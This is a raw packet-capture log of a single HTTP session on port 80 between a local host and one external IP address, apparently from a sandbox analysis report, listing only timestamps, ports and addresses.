Oct 7, 2024 18:03:24.071109056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071109056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071600914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071614981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071618080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071628094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071639061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071655035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071677923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071677923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071721077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.071899891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.071911097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072005987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072016001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072026014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072036028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072046995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072050095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072050095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072057962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072072029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072081089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072093010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072093010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072583914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072596073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072611094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072622061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072633028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072635889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072635889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072643995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072655916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072665930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072675943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072684050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072684050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072689056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072700024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.072721004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.072721004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073142052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073153973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073164940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073174000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073184013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073194027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073195934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073195934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073204994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073216915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073226929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073236942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073240995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073240995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073247910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073260069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073271036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073292017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073292017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073318958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073822975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073836088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073847055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073858023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073869944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.073899031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.073899031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.074115038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.083868980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.083914995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.083962917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.127530098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.127583981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.127593994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.127624989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.127624989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.127880096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193308115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193347931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193360090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193459034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193459034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193521023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193532944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193572998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193572998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193892956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193903923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193914890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.193962097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.193962097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194520950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194607019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194611073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194624901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194677114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194677114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194711924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194722891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194734097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194744110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194753885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194765091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.194781065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194781065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194814920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.194992065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195003033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195013046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195023060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195034027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195043087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195048094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195048094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195055962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195067883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195079088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195111990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195111990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195398092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195414066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195426941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195648909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195660114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195699930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195699930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195770025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195781946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195791006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195801020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195811987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.195838928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.195851088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196042061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196054935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196064949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196074963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196085930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196114063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196131945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196309090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196321011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196331024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196341991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196352005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196362019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196377039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196377039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196377993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196422100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196422100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196428061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196439981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196449995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196460962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196471930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.196500063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196500063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.196572065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197030067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197041988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197053909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197067022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197091103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197137117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197149038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197160006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197170973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197182894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197185040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197185040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197225094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197225094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197384119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197396040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197407961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197451115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197451115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197515011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197609901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197619915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197627068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197668076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197694063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197705984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197717905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197730064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197766066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197766066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197915077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197927952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197940111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197952032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197959900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.197963953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.197977066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.198014021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.198014021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.198225975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.198240995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.198287010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.198287010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.212280035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.212348938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.212599039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.212646008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.252104044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.252123117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.252135038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.252146959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.252185106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.252185106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.318269014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318288088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318301916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318331957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.318381071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318392992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318399906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.318403959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318416119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318427086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.318449974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.318449974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.318480968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319096088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319160938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319171906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319175005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319227934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319324970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319335938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319345951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319355965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319366932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319377899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319401026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319401026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319427967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319578886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319619894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319730997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319741964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319751978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319762945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319771051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319781065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319791079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319792032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319792032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319802999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319814920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319823980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319837093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.319837093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319874048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.319874048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320318937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320331097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320341110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320353031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320367098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320417881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320579052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320589066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320600033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320610046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320617914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320628881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320666075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320666075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320867062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320878029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320888996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320899010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320914984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320925951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320926905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320926905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320936918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320949078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320959091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320970058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.320982933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.320982933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321504116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321744919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321755886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321765900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321777105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321785927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321795940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321805954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321815968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321825981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321830988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321830988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321836948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321849108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321858883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321866035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321866035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321870089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321881056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321891069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321898937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.321908951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.321908951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322484016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322498083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322508097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322518110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322527885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322537899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322541952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322541952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322547913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322561026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322590113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322590113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322896004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322906017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322916031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322926044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322936058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322946072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322954893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322967052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322974920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.322976112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.322974920 CEST	49711	80	192.168.2.12	185.215.113.37
